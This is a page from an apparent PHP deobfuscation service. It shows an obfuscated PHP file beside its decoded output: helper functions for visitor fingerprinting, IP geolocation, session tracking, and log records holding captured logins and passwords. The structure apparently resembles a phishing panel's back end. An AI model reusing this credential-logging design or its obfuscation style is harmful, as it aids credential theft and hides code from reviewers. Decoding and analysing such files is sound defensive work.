Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto DMEaT; WEoYY: function getBrowser() { $user_agent = $_SERVER["\110\124\x54\12..
Decoded Output download
<?php
goto DMEaT; WEoYY: function getBrowser() { $user_agent = $_SERVER["HTTP_USER_AGENT"]; $browser = "N/A"; $browser_array = array("/msie/i" => "Internet Explorer", "/firefox/i" => "Firefox", "/safari/i" => "Safari", "/chrome/i" => "Chrome", "/edge/i" => "Edge", "/opera/i" => "Opera", "/netscape/i" => "Netscape", "/maxthon/i" => "Maxthon", "/konqueror/i" => "Konqueror", "/mobile/i" => "Handheld Browser"); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $browser = $value; } } return $browser; } goto wcP_r; EaSG6: function userBeanToObject($userBean) { $user = new stdClass(); $user->id = $userBean->id; $user->label = $userBean->label; $user->uid = $userBean->uid; $user->useragent = $userBean->useragent; $user->agent = $userBean->agent; $user->ip = $userBean->ip; $user->locality = $userBean->locality; $user->last = $userBean->last; $user->opened = $userBean->opened; $user->referer = $userBean->referer; $user->apc = $userBean->apc; $user->summary = $userBean->summary; $user->summary2 = $userBean->summary2; $elapsed = time() - strtotime($user->last); if ($elapsed > 10) { $user->status = "offline"; } else { if ($userBean->status == "waiting") { $user->status = "waiting"; } else { $user->status = "online"; } } return $user; } goto WjKNa; WjKNa: function logBeanToObject($logBean) { $log = new stdClass(); $log->id = $logBean->id; $log->user = $logBean->user; $log->action = $logBean->action; if ($log->action == "image") { $log->login = ''; $log->password = "image/?id=" . $logBean->password; } else { $log->login = $logBean->login; $log->password = $logBean->password; } $log->dtime = $logBean->dtime; return $log; } goto m00et; nV4qc: function getOS() { $user_agent = $_SERVER["HTTP_USER_AGENT"]; $os_platform = "N/A"; $os_array = array("/windows nt 10/i" => "Windows 10", "/windows nt 6.3/i" => "Windows 8.1", "/windows nt 6.2/i" => "Windows 8", "/windows nt 6.1/i" => "Windows 7", "/windows nt 6.0/i" => "Windows Vista", "/windows nt 5.2/i" => "Windows Server 2003/XP x64", "/windows nt 5.1/i" => "Windows XP", "/windows xp/i" => "Windows XP", "/windows nt 5.0/i" => "Windows 2000", "/windows me/i" => "Windows ME", "/win98/i" => "Windows 98", "/win95/i" => "Windows 95", "/win16/i" => "Windows 3.11", "/macintosh|mac os x/i" => "Mac OS X", "/mac_powerpc/i" => "Mac OS 9", "/linux/i" => "Linux", "/ubuntu/i" => "Ubuntu", "/iphone/i" => "iPhone", "/ipod/i" => "iPod", "/ipad/i" => "iPad", "/android/i" => "Android", "/blackberry/i" => "BlackBerry", "/webos/i" => "Mobile"); foreach ($os_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $os_platform = $value; } } return $os_platform; } goto WEoYY; oVybT: function getLocality($ip) { if (substr($ip, 0, 5) === "127.0" || substr($ip, 0, 7) === "192.168") { return "Localhost"; } $json = file_get_contents("http://ip-api.com/json/{$ip}"); $json = json_decode($json); $country = $json->countryCode; $city = $json->city; if (empty($country)) { return "N/A"; } return empty($city) ? $country : $city . ", " . $country; } goto nV4qc; DMEaT: function getUserIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER["HTTP_CLIENT_IP"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = @$_SERVER["HTTP_CLIENT_IP"]; $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"]; $remote = $_SERVER["REMOTE_ADDR"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } goto oVybT; wcP_r: function getUserId() { $userid = $_SESSION["userid"]; if (empty($userid)) { $userid = md5(getOS() . getBrowser() . getUserIP() . random_int(100, 10000)); $_SESSION["userid"] = $userid; } return $userid; } goto EaSG6; m00et: ?>
Did this file decode correctly?
Original Code
<?php
goto DMEaT; WEoYY: function getBrowser() { $user_agent = $_SERVER["\110\124\x54\120\137\125\123\105\x52\137\101\x47\x45\x4e\124"]; $browser = "\116\57\x41"; $browser_array = array("\x2f\x6d\163\x69\x65\57\151" => "\111\156\164\x65\162\x6e\145\x74\x20\x45\x78\x70\154\157\x72\145\162", "\x2f\x66\x69\162\145\146\x6f\170\x2f\x69" => "\106\151\162\x65\x66\x6f\x78", "\57\x73\x61\x66\x61\x72\x69\57\151" => "\123\141\146\141\162\151", "\57\143\x68\162\157\155\x65\x2f\151" => "\103\150\x72\x6f\x6d\145", "\57\x65\144\x67\145\57\151" => "\105\144\147\x65", "\57\157\160\x65\162\141\57\x69" => "\117\160\145\x72\141", "\x2f\156\145\x74\x73\143\141\160\145\57\x69" => "\x4e\x65\164\x73\x63\141\160\x65", "\57\x6d\x61\170\x74\150\x6f\156\x2f\x69" => "\x4d\x61\x78\164\150\157\x6e", "\57\x6b\157\x6e\x71\165\x65\162\x6f\x72\57\x69" => "\x4b\x6f\156\161\165\x65\162\x6f\x72", "\x2f\155\x6f\x62\151\x6c\x65\57\151" => "\110\x61\x6e\144\x68\145\x6c\x64\40\102\x72\157\x77\x73\145\x72"); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $browser = $value; } } return $browser; } goto wcP_r; EaSG6: function userBeanToObject($userBean) { $user = new stdClass(); $user->id = $userBean->id; $user->label = $userBean->label; $user->uid = $userBean->uid; $user->useragent = $userBean->useragent; $user->agent = $userBean->agent; $user->ip = $userBean->ip; $user->locality = $userBean->locality; $user->last = $userBean->last; $user->opened = $userBean->opened; $user->referer = $userBean->referer; $user->apc = $userBean->apc; $user->summary = $userBean->summary; $user->summary2 = $userBean->summary2; $elapsed = time() - strtotime($user->last); if ($elapsed > 10) { $user->status = "\x6f\146\x66\x6c\151\156\x65"; } else { if ($userBean->status == "\x77\141\151\x74\x69\x6e\x67") { $user->status = "\167\x61\x69\x74\x69\x6e\147"; } else { $user->status = "\157\156\154\x69\156\145"; } } return $user; } goto WjKNa; WjKNa: function logBeanToObject($logBean) { $log = new stdClass(); $log->id = $logBean->id; $log->user = $logBean->user; $log->action = $logBean->action; if ($log->action == "\151\155\141\x67\145") { $log->login = ''; $log->password = "\x69\155\x61\147\145\57\77\x69\x64\x3d" . $logBean->password; } else { $log->login = $logBean->login; $log->password = $logBean->password; } $log->dtime = $logBean->dtime; return $log; } goto m00et; nV4qc: function getOS() { $user_agent = $_SERVER["\x48\124\x54\120\x5f\x55\x53\105\122\x5f\101\x47\105\116\x54"]; $os_platform = "\116\57\101"; $os_array = array("\57\167\151\156\144\x6f\x77\163\x20\156\164\x20\x31\x30\x2f\x69" => "\127\151\156\x64\157\x77\x73\40\61\x30", "\x2f\x77\151\156\x64\x6f\x77\163\x20\156\x74\40\x36\x2e\63\x2f\151" => "\x57\151\156\144\x6f\x77\x73\x20\x38\56\61", "\x2f\167\151\156\144\x6f\167\163\40\x6e\x74\40\66\56\62\x2f\x69" => "\x57\151\x6e\x64\x6f\x77\x73\40\x38", "\57\167\151\156\144\x6f\167\x73\x20\x6e\164\40\66\x2e\61\57\151" => "\x57\151\156\x64\x6f\167\163\40\x37", "\x2f\x77\151\156\144\157\167\x73\40\x6e\164\40\66\56\x30\x2f\151" => "\127\x69\x6e\x64\x6f\x77\163\x20\126\151\163\x74\x61", "\x2f\167\151\x6e\x64\x6f\167\163\40\156\x74\x20\65\x2e\x32\57\x69" => "\127\x69\156\x64\x6f\167\x73\x20\x53\145\x72\x76\x65\x72\x20\x32\60\x30\63\x2f\x58\x50\40\170\x36\x34", "\x2f\x77\x69\x6e\x64\x6f\x77\163\40\156\164\40\x35\56\x31\57\151" => "\127\x69\x6e\x64\157\167\163\40\x58\x50", "\x2f\167\151\156\144\157\x77\163\x20\170\160\57\151" => "\127\x69\x6e\x64\157\167\163\40\x58\120", "\57\167\151\x6e\144\157\x77\163\40\x6e\x74\x20\x35\x2e\x30\x2f\151" => "\x57\x69\x6e\x64\x6f\167\x73\40\62\60\x30\60", "\x2f\x77\151\x6e\x64\157\167\163\40\x6d\145\57\x69" => "\127\151\x6e\x64\x6f\167\x73\x20\x4d\x45", "\x2f\167\x69\x6e\x39\70\x2f\151" => "\127\x69\156\144\x6f\167\163\40\x39\70", "\x2f\167\151\x6e\x39\65\57\x69" => "\127\151\x6e\144\157\x77\163\40\x39\65", "\57\167\x69\x6e\61\x36\57\x69" => "\x57\x69\x6e\144\157\x77\x73\x20\63\56\x31\61", "\57\x6d\141\143\151\156\164\x6f\163\x68\174\x6d\x61\x63\40\157\x73\40\x78\57\x69" => "\x4d\x61\x63\x20\x4f\123\40\x58", "\57\155\x61\143\137\160\157\x77\145\162\160\x63\x2f\x69" => "\x4d\141\143\40\x4f\123\40\71", "\x2f\154\x69\156\x75\x78\57\151" => "\114\x69\156\165\170", "\57\165\142\x75\x6e\164\165\x2f\x69" => "\x55\142\165\x6e\x74\165", "\x2f\x69\x70\150\x6f\156\145\57\151" => "\151\x50\x68\157\156\x65", "\57\x69\160\x6f\144\57\x69" => "\151\120\157\x64", "\x2f\x69\x70\x61\144\57\x69" => "\151\120\141\x64", "\x2f\141\156\144\x72\157\x69\144\57\151" => "\101\x6e\x64\162\157\x69\144", "\57\x62\x6c\x61\x63\153\x62\145\162\162\171\x2f\151" => "\102\x6c\141\143\153\102\x65\162\x72\171", "\x2f\167\x65\142\x6f\x73\x2f\151" => "\115\x6f\142\x69\x6c\x65"); foreach ($os_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $os_platform = $value; } } return $os_platform; } goto WEoYY; oVybT: function getLocality($ip) { if (substr($ip, 0, 5) === "\x31\62\67\x2e\x30" || substr($ip, 0, 7) === "\61\x39\x32\56\61\66\x38") { return "\114\157\143\x61\x6c\150\157\x73\x74"; } $json = file_get_contents("\150\164\164\x70\72\57\x2f\151\160\x2d\x61\x70\x69\56\x63\x6f\x6d\57\152\163\157\156\x2f{$ip}"); $json = json_decode($json); $country = $json->countryCode; $city = $json->city; if (empty($country)) { return "\x4e\x2f\101"; } return empty($city) ? $country : $city . "\x2c\x20" . $country; } goto nV4qc; DMEaT: function getUserIP() { if (isset($_SERVER["\110\x54\124\x50\137\x43\106\137\x43\x4f\x4e\x4e\x45\x43\x54\111\116\x47\137\x49\x50"])) { $_SERVER["\122\x45\115\x4f\x54\x45\x5f\101\104\x44\122"] = $_SERVER["\x48\x54\x54\x50\137\103\106\x5f\103\x4f\116\x4e\x45\103\x54\111\116\107\x5f\111\120"]; $_SERVER["\110\124\124\x50\x5f\x43\x4c\x49\x45\116\x54\x5f\111\120"] = $_SERVER["\x48\x54\x54\120\137\103\106\137\x43\117\116\x4e\105\103\124\x49\x4e\107\x5f\111\120"]; } $client = @$_SERVER["\x48\124\124\120\137\x43\114\111\105\x4e\124\137\x49\120"]; $forward = @$_SERVER["\110\124\124\120\x5f\x58\x5f\106\x4f\x52\127\101\122\x44\105\104\x5f\106\x4f\122"]; $remote = $_SERVER["\x52\x45\115\117\124\105\x5f\x41\x44\x44\x52"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } goto oVybT; wcP_r: function getUserId() { $userid = $_SESSION["\165\x73\145\x72\151\144"]; if (empty($userid)) { $userid = md5(getOS() . getBrowser() . getUserIP() . random_int(100, 10000)); $_SESSION["\x75\163\145\162\151\144"] = $userid; } return $userid; } goto EaSG6; m00et: ?>
Function Calls
None |
Stats
MD5 | e0c8a2866411e485d540ae559e3d3864 |
Eval Count | 0 |
Decode Time | 31 ms |